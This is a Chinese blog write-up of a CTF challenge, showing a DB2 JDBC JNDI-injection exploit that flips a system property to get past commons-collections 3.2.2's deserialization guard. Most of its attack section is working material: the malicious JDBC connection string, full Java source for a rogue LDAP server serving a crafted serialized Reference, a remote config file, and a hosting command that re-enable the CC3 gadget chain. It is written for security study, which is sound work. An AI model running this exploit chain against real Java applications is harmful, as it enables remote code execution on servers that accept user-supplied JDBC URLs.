Java_JDBC(commonscollection3.2.2)Bypass

Java_JDBC(commonscollection3.2.2)Bypass

0x01 分析题目

简单捋捋信息,访问题目得到一个连接测试页面

image-20231229144039463

题目给出的附件如下:

image-20231229144142632

不难看出考点是DB2的JNDI注入,DB2打JNDI的payload大致如下:

1
jdbc:db2://127.0.0.1:50001/db:clientRerouteServerListJNDIName=ldap://127.0.0.1:1379/abc

但是反序列化依赖只有一个commons-collections-3.2.2.jar,理论上是要打CC3的链的,但是可以看得出来版本不对,该版本对CC3反序列化的类做了限制,导致重要的类不能够被反序列化,例如InstantiateTransformerInvokeTransformer

通过测试得知:

  • 由于Tomcat8.5.96测试发现TomcatByPass的工厂类org.apache.naming.factory.BeanFactory进行利用 是无法成功的,官方将其进行了修复,故无法利用
  • 由于RMI在6u132, 7u122, 8u113版本开始做了限制、LDAP在 11.0.1, 8u191, 7u201, 6u211版本开始 做了限制,故猜测是目标是采用了高版本的JDK

这里只能去思考题目给出的其他依赖能不能破局了

给出的依赖中包含了commons-configuration、并且是tomcat部署,那么也存在tomcat-jdbc,查看相应的 Class:

1
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance 

image-20231229162215452

该类可以进行加载类进行无参实例化,并且对setter方法进行调用 LDAP和RMI在收到服务端反序列化来的 Reference 对象后根据 classFactory 属性从本地classpath中 实例化一个 ObjectFactory 对象,然后调用这个对象的 getObjectInstance 方法

该工厂类可以任意调用某类的setter方法,并且存在一个类: org.apache.commons.configuration.Sys temConfiguration

该类方法 org.apache.commons.configuration.SystemConfiguration#setSystemProperties(java.lan g.String) 可以进行远程加载配置文件进行设置系统属性:

image-20231229164918584

分析到这个程度就好解决了,我们发现commons-collections3.2.2的反序列化限制是这样的

例如:org.apache.commons.collections.functors.InstantiateTransformer#readObject

image-20231229192805661

进入检测方法org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization

image-20231229193233364我们会发现检测时是在实时获取系统属性,如果不为 true 就会抛异常中断反序列化的执行

所以只需要修改这个作为JNDI注入缓解措施的系统属性,即可绕过高版本的限制

1
org.apache.commons.collections.enableUnsafeSerialization=true

然后打CC3即可,芜湖

0x02 搭建环境

为了以后复现简单,还是写了这么一个搭建环境的部分

首先是利用pom.xml导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 使用最新的版本 -->
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.8</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.3</version> <!-- Use the appropriate version -->
</dependency>
<dependency>
<groupId>com.ibm.db2.jcc</groupId>
<artifactId>db2jcc</artifactId>
<version>db2jcc4</version>
</dependency>

然后是访问的index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test Connect Form</title>
</head>
<body>
<h2>Test Connect Form</h2>
<form action="TestDBConnection" method="post">
<label for="connectionString">URL:</label><br>
<input type="text" id="connectionString" name="connectionString" required><br>

<label for="username">Username:</label><br>
<input type="text" id="username" name="username" required><br>

<label for="password">Password:</label><br>
<input type="password" id="password" name="password" required><br>

<input type="submit" value="submit">
</form>
</body>
</html>

然后是用于实际连接的java类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/TestDBConnection")
public class TestDBConnection extends HttpServlet {
private static final long serialVersionUID = 1L;

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();

String connectionString = request.getParameter("connectionString");
String username = request.getParameter("username");
String password = request.getParameter("password");

try {
// 加载DB2 JDBC驱动
Class.forName("com.ibm.db2.jcc.DB2Driver");

// 尝试建立数据库连接
Connection connection = DriverManager.getConnection(connectionString, username, password);

// 如果成功连接,则输出成功消息
out.println("<html><body><h2>连接成功!</h2></body></html>");

// 关闭连接
connection.close();
} catch (ClassNotFoundException | SQLException e) {
// 如果连接失败,则输出错误消息
out.println("<html><body><h2>连接失败!</h2><p>" + e.getMessage() + "</p></body></html>");
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}

0x03 攻击利用

采用LDAP服务的方式进行利用,本地修改好代码,搭建一个文件托管服务,下面是

修改系统配置信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.io.*;
public class LDAPServer {
static String userDN = "dc=ldap;dc=com";
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
InMemoryDirectoryServerConfig imConfig = new
InMemoryDirectoryServerConfig(userDN);
imConfig.setListenerConfigs(new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"),1379,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault())
);
imConfig.addInMemoryOperationInterceptor(new LdapInterpetor());
InMemoryDirectoryServer ldapServer = new InMemoryDirectoryServer(imConfig);
ldapServer.startListening();
}
static class LdapInterpetor extends InMemoryOperationInterceptor {
private static Reference systemConfiguration(){
Reference ref = new Reference("org.apache.commons.configuration.SystemConfiguration","org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt")); //配置文件的地址
return ref;
}
private static byte[] serializeObject(Serializable obj) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult request) {
Entry entry = new Entry(request.getRequest().getBaseDN());
try {
System.out.println("start");
String className = "java.lang.String";
entry.addAttribute("javaSerializedData", serializeObject(systemConfiguration()));
entry.addAttribute("javaClassName",className);
entry.addAttribute("objectClass","javaNamingReference");
request.sendSearchEntry(entry);
request.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("stop");
}catch (Exception e){
e.printStackTrace();
}
}
}
}

image-20231229214427117

搭建一个文件托管(这里就直接用python)

1
python -m http.server 6666

配置文件内容

1
org.apache.commons.collections.enableUnsafeSerialization=true

然后直接打CC3链子就行了


Java_JDBC(commonscollection3.2.2)Bypass
https://pho3n1x-web.github.io/2023/12/29/Java_JDBC(commonscollection3.2.2)Bypass/
Author
Pho3n1x
Posted on
December 29, 2023
Licensed under